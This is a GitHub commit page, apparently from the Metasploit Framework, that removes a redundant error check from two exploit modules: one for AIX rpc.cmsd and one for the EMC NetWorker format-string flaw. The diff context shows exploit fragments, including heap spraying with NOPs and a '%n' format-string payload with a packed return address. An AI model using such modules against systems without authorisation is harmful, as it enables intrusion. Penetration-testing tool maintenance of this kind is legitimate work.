Skip to content

Commit 60e31cb

Browse files
committed
Allow sunrpc_create to raise on its own
1 parent 500c424 commit 60e31cb

File tree

2 files changed

+2
-6
lines changed

2 files changed

+2
-6
lines changed

modules/exploits/aix/rpc_cmsd_opcode21.rb

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -80,9 +80,7 @@ def brute_exploit(brute_target)
8080
print_status("Trying to exploit rpc.cmsd with address 0x%x ..." % brute_target['Ret'])
8181

8282
begin
83-
if (not sunrpc_create('udp', 100068, 4))
84-
fail_with(Failure::Unknown, 'sunrpc_create failed')
85-
end
83+
sunrpc_create('udp', 100068, 4)
8684

8785
# spray the heap a bit (work around powerpc cache issues)
8886
buf = make_nops(1024 - @aixpayload.length)

modules/exploits/windows/emc/networker_format_string.rb

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -74,9 +74,7 @@ def initialize(info = {})
7474
def exploit
7575

7676
begin
77-
if (not sunrpc_create('tcp', 0x5F3DD, 2))
78-
fail_with(Failure::Unknown, 'sunrpc_create failed')
79-
end
77+
sunrpc_create('tcp', 0x5F3DD, 2)
8078

8179
fs = "%n" * target['Offset']
8280
fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll

0 commit comments

Comments
 (0)